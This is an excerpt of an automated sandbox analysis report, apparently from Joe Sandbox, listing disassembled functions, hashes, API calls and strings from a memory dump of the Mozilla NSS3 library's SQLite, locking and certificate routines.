Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$w=^l
API String ID: 1840970956-3482403783
Opcode ID: a9e0e742cdc31c763bb01369d2884dea284786de518e3fc0513d0351ff351184
Instruction ID: a4562f218814b799ea819b706c0657cd974bc50f96671820124358ff10f13f32
Opcode Fuzzy Hash: a9e0e742cdc31c763bb01369d2884dea284786de518e3fc0513d0351ff351184
Instruction Fuzzy Hash: 110124B1A001008BD700AB28D8029B273E5EFC638CB15486EEC44CBB02EB26EC56C755

Function 6C6C4D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C6C4DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6C4DE0

Strings

API call with %s database connection pointer, xrefs: 6C6C4DBD
invalid, xrefs: 6C6C4DB8
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6C4DCB
misuse, xrefs: 6C6C4DD5
%s at line %d of [%.10s], xrefs: 6C6C4DDA

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 66d78a4350f53624b8eb8e2301a9295f6c8de264b621a9b1c823bc293f472521
Instruction ID: 9b9042803aa8b8929a671eeb8c1be1121f0124278c12fdc713cc628615ae6a9f
Opcode Fuzzy Hash: 66d78a4350f53624b8eb8e2301a9295f6c8de264b621a9b1c823bc293f472521
Instruction Fuzzy Hash: FBF0E921F185786BD700A155CE21FF637D9CF1132AF5609A0ED086BE92D64ABD9082DA

Function 6C6C4DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C6C4E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6C4E4D

Strings

API call with %s database connection pointer, xrefs: 6C6C4E2A
invalid, xrefs: 6C6C4E25
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6C4E38
misuse, xrefs: 6C6C4E42
%s at line %d of [%.10s], xrefs: 6C6C4E47

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 400159108b09bec6bf0843fcdc633228fa1e55e070997be7ebb12a7c0793eb52
Instruction ID: 389cb98c4e7db98e3dd955219cce54ab427e452b29d35f923ca4f5d9062043ab
Opcode Fuzzy Hash: 400159108b09bec6bf0843fcdc633228fa1e55e070997be7ebb12a7c0793eb52
Instruction Fuzzy Hash: 5EF09E10F8843C6BD71092618D10FF637C9CB05329F0A44A0EE0867EA3C249D96342D7

Function 6C630C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C631444,?,00000001,?,00000000,00000000,?,?,6C631444,?,?,00000000,?,?), ref: 6C630CB3

Part of subcall function 6C69C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C69C2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C631444,?,00000001,?,00000000,00000000,?,?,6C631444,?), ref: 6C630DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C631444,?,00000001,?,00000000,00000000,?,?,6C631444,?), ref: 6C630DEC

Part of subcall function 6C650F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C5F2AF5,?,?,?,?,?,6C5F0A1B,00000000), ref: 6C650F1A
Part of subcall function 6C650F10: malloc.MOZGLUE(00000001), ref: 6C650F30
Part of subcall function 6C650F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C650F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C631444,?,00000001,?,00000000,00000000,?), ref: 6C630DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C631444,?,00000001,?,00000000), ref: 6C630E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C631444,?,00000001,?,00000000,00000000,?), ref: 6C630E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C631444,?,00000001,?,00000000,00000000,?,?,6C631444,?,?,00000000), ref: 6C630E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C631444,?,00000001,?,00000000,00000000,?), ref: 6C630E79

Part of subcall function 6C641560: TlsGetValue.KERNEL32(00000000,?,6C610844,?), ref: 6C64157A
Part of subcall function 6C641560: EnterCriticalSection.KERNEL32(?,?,?,6C610844,?), ref: 6C64158F
Part of subcall function 6C641560: PR_Unlock.NSS3(?,?,?,?,6C610844,?), ref: 6C6415B2

Part of subcall function 6C60B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C611397,00000000,?,6C60CF93,5B5F5EC0,00000000,?,6C611397,?), ref: 6C60B1CB
Part of subcall function 6C60B1A0: free.MOZGLUE(5B5F5EC0,?,6C60CF93,5B5F5EC0,00000000,?,6C611397,?), ref: 6C60B1D2

Part of subcall function 6C6089E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C6088AE,-00000008), ref: 6C608A04
Part of subcall function 6C6089E0: EnterCriticalSection.KERNEL32(?), ref: 6C608A15
Part of subcall function 6C6089E0: memset.VCRUNTIME140(6C6088AE,00000000,00000132), ref: 6C608A27
Part of subcall function 6C6089E0: PR_Unlock.NSS3(?), ref: 6C608A35

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 35be980df59e85ea8eb65f2fa41eba6c375137828b84ea8c6e22d7b3677bf0eb
Instruction ID: 2fb6051bb1829520fc1b80fbb7fdf3a35231f0ced71e4ef67562d4f099326512
Opcode Fuzzy Hash: 35be980df59e85ea8eb65f2fa41eba6c375137828b84ea8c6e22d7b3677bf0eb
Instruction Fuzzy Hash: 3E51D8B5E002105FEB019F68DC81AAB37E8AF4631CF141024ED0997B52FB31ED1987AE

Function 6C5E6E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6C5E6ED8
sqlite3_value_text.NSS3(?,?), ref: 6C5E6EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6C5E6FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6C5E6FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6C5E6FF0
sqlite3_value_blob.NSS3(?,?), ref: 6C5E7010
sqlite3_value_blob.NSS3(?,?), ref: 6C5E701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6C5E7052

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: 86594bd39507067627819f7b16b061b37e82d133ada9786e3c85d11af3513702
Instruction ID: 9b31040ed842d61f16a55e482f696013f02e32216947de30956af334dd6867ef
Opcode Fuzzy Hash: 86594bd39507067627819f7b16b061b37e82d133ada9786e3c85d11af3513702
Instruction Fuzzy Hash: 7361F4B1E1430A8FDB00CF68DC507EEB7B2AF89348F284168D524AB756EB319D15CB95

Function 6C658F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6C657313), ref: 6C658FBB

Part of subcall function 6C6507B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C5F8298,?,?,?,6C5EFCE5,?), ref: 6C6507BF
Part of subcall function 6C6507B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6507E6
Part of subcall function 6C6507B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C65081B
Part of subcall function 6C6507B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C650825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6C657313), ref: 6C659012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6C657313), ref: 6C65903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6C657313), ref: 6C65909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6C657313), ref: 6C6590DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6C657313), ref: 6C6590F1

Part of subcall function 6C6510C0: TlsGetValue.KERNEL32(?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C6510F3
Part of subcall function 6C6510C0: EnterCriticalSection.KERNEL32(?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C65110C
Part of subcall function 6C6510C0: PL_ArenaAllocate.NSS3(?,?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C651141
Part of subcall function 6C6510C0: PR_Unlock.NSS3(?,?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C651182
Part of subcall function 6C6510C0: TlsGetValue.KERNEL32(?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C65119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6C657313), ref: 6C65906B

Part of subcall function 6C69C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C69C2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6C657313), ref: 6C659128

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 0e8f3597ea79df409d74a7b1342f6ab9890d2afeed04bc7826acc907f70df6db
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: A751E5B1A002118FEB10DF6ADC44B26B3F5AF4531CFB54429D915D7B61EB32E822CB99

Function 6C609C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6C608850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6C610715), ref: 6C608859
Part of subcall function 6C608850: PR_NewLock.NSS3 ref: 6C608874
Part of subcall function 6C608850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6C60888D

PR_NewLock.NSS3 ref: 6C609CAD

Part of subcall function 6C6B98D0: calloc.MOZGLUE(00000001,00000084,6C5E0936,00000001,?,6C5E102C), ref: 6C6B98E5

Part of subcall function 6C5E07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C57204A), ref: 6C5E07AD
Part of subcall function 6C5E07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C57204A), ref: 6C5E07CD
Part of subcall function 6C5E07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C57204A), ref: 6C5E07D6
Part of subcall function 6C5E07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C57204A), ref: 6C5E07E4
Part of subcall function 6C5E07A0: TlsSetValue.KERNEL32(00000000,?,6C57204A), ref: 6C5E0864
Part of subcall function 6C5E07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C5E0880
Part of subcall function 6C5E07A0: TlsSetValue.KERNEL32(00000000,?,?,6C57204A), ref: 6C5E08CB
Part of subcall function 6C5E07A0: TlsGetValue.KERNEL32(?,?,6C57204A), ref: 6C5E08D7
Part of subcall function 6C5E07A0: TlsGetValue.KERNEL32(?,?,6C57204A), ref: 6C5E08FB

TlsGetValue.KERNEL32 ref: 6C609CE8
EnterCriticalSection.KERNEL32(?,?,6C60ECEC,6C612FCD,00000000,?,6C612FCD,?), ref: 6C609D01
TlsGetValue.KERNEL32(?,?,?,6C60ECEC,6C612FCD,00000000,?,6C612FCD,?), ref: 6C609D38
EnterCriticalSection.KERNEL32(?,?,6C60ECEC,6C612FCD,00000000,?,6C612FCD,?), ref: 6C609D4D
PR_Unlock.NSS3 ref: 6C609D70
PR_Unlock.NSS3 ref: 6C609DC3
PR_NewLock.NSS3 ref: 6C609DDD

Part of subcall function 6C6088D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C610725,00000000,00000058), ref: 6C608906
Part of subcall function 6C6088D0: EnterCriticalSection.KERNEL32(?), ref: 6C60891A
Part of subcall function 6C6088D0: PL_ArenaAllocate.NSS3(?,?), ref: 6C60894A
Part of subcall function 6C6088D0: calloc.MOZGLUE(00000001,6C61072D,00000000,00000000,00000000,?,6C610725,00000000,00000058), ref: 6C608959
Part of subcall function 6C6088D0: memset.VCRUNTIME140(?,00000000,?), ref: 6C608993
Part of subcall function 6C6088D0: PR_Unlock.NSS3(?), ref: 6C6089AF

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: c5da108d516fb05198fe357565ae5e7944308642669658a10da39169e4a00ad2
Instruction ID: 08ea7d0f75e7d898141354ce49fd1d02a1110fc2db2b2a4c814b82c2b88e9d0b
Opcode Fuzzy Hash: c5da108d516fb05198fe357565ae5e7944308642669658a10da39169e4a00ad2
Instruction Fuzzy Hash: 485151B0B44B058FDB04EF68C28469ABBF1BF4534DF158969D898AB750EB30E844CB95

Function 6C709EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C709EC0
EnterCriticalSection.KERNEL32(?), ref: 6C709EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6C709F73
EnterCriticalSection.KERNEL32(?), ref: 6C709FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6C709FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6C709FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6C70A01D

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: 81673bf2198611ef1cf1423e739219c28439675b1aa59bcf7432c744f05f0cd8
Instruction ID: d15216c18c3bbac78e2002095a784e3860181f268368c4655b42d23556f703ce
Opcode Fuzzy Hash: 81673bf2198611ef1cf1423e739219c28439675b1aa59bcf7432c744f05f0cd8
Instruction Fuzzy Hash: B751B1B2900600CBCB109F25D88464AB7F4FF1631DF25866AD8596BB12E731F895CB95

Function 6C6388E0 Relevance: 12.1, APIs: 8, Instructions: 112COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6388FC

Part of subcall function 6C64BE30: SECOID_FindOID_Util.NSS3(6C60311B,00000000,?,6C60311B,?), ref: 6C64BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C638913

Part of subcall function 6C650FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5F87ED,00000800,6C5EEF74,00000000), ref: 6C651000
Part of subcall function 6C650FF0: PR_NewLock.NSS3(?,00000800,6C5EEF74,00000000), ref: 6C651016
Part of subcall function 6C650FF0: PL_InitArenaPool.NSS3(00000000,security,6C5F87ED,00000008,?,00000800,6C5EEF74,00000000), ref: 6C65102B

SEC_ASN1DecodeItem_Util.NSS3(00000000,?,6C71D864,?), ref: 6C638947

Part of subcall function 6C64E200: PR_SetError.NSS3(FFFFE009,00000000), ref: 6C64E245
Part of subcall function 6C64E200: PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C64E254

SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C63895B
DER_GetInteger_Util.NSS3(?), ref: 6C638973
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C638982
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C6389EC
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C638A12

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Util$Arena_Tag_$AlgorithmErrorFindFree$ArenaDecodeInitInteger_Item_LockPoolcalloc
String ID:
API String ID: 2145430656-0
Opcode ID: 6a02ee3e01ea58c43b4004ccaeb3a570fcb3d742bfce1f08bf04a5cb2db50bad
Instruction ID: a1a4ebdbf69817328da141cace1a1aea2497637832610535c7cd10b134aa30fc
Opcode Fuzzy Hash: 6a02ee3e01ea58c43b4004ccaeb3a570fcb3d742bfce1f08bf04a5cb2db50bad
Instruction Fuzzy Hash: BD316CA1A0462053F710463DAC41BEA32955F9A32CF243637E91DD3AE1FB31C446828F

Function 6C5FDCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C5FDCFA

Part of subcall function 6C6B9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C700A27), ref: 6C6B9DC6
Part of subcall function 6C6B9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C700A27), ref: 6C6B9DD1
Part of subcall function 6C6B9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6B9DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C5FDD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C5FDD62
CERT_DestroyCertificate.NSS3(?), ref: 6C5FDD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6C5FDD81
CERT_RemoveCertListNode.NSS3(?), ref: 6C5FDD8F

Part of subcall function 6C6106A0: TlsGetValue.KERNEL32 ref: 6C6106C2
Part of subcall function 6C6106A0: EnterCriticalSection.KERNEL32(?), ref: 6C6106D6
Part of subcall function 6C6106A0: PR_Unlock.NSS3 ref: 6C6106EB

CERT_DestroyCertificate.NSS3(?), ref: 6C5FDD9E
CERT_DestroyCertificate.NSS3(?), ref: 6C5FDDB7

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: abc0a8f056d69ce014d721fdf3d791723e0dbceae413315e1d49c0ad7e6e2936
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: BB215CB6E015299BEF059EA4DC4099EB7B4AF05318B180424ED28E7711E731ED16CFF2

Function 6C685F60 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C68AADB,?,?,?,?,?,?,?,?,00000000,?,6C6880C1), ref: 6C685F72

Part of subcall function 6C5EED70: DeleteCriticalSection.KERNEL32(?), ref: 6C5EED8F
Part of subcall function 6C5EED70: DeleteCriticalSection.KERNEL32(?), ref: 6C5EED9E
Part of subcall function 6C5EED70: DeleteCriticalSection.KERNEL32(?), ref: 6C5EEDA4

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C68AADB,?,?,?,?,?,?,?,?,00000000,?,6C6880C1), ref: 6C685F8F
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6C68AADB,?,?,?,?,?,?,?,?,00000000,?,6C6880C1), ref: 6C685FCC
free.MOZGLUE(?,?,6C68AADB,?,?,?,?,?,?,?,?,00000000,?,6C6880C1), ref: 6C685FD3
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6C68AADB,?,?,?,?,?,?,?,?,00000000,?,6C6880C1), ref: 6C685FF4
free.MOZGLUE(?,?,6C68AADB,?,?,?,?,?,?,?,?,00000000,?,6C6880C1), ref: 6C685FFB
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C68AADB,?,?,?,?,?,?,?,?,00000000,?,6C6880C1), ref: 6C686019
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C68AADB,?,?,?,?,?,?,?,?,00000000,?,6C6880C1), ref: 6C686036

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalDeleteSection$DestroyMonitor$free
String ID:
API String ID: 227462623-0
Opcode ID: 31d4ac93e200255395c1c11a136e36bb144fb93182a62adb4ea259b0d6ae1095
Instruction ID: c1eefb306f4af0519ab8fafb15d1a642d4d87089171779589184332f7621e67a
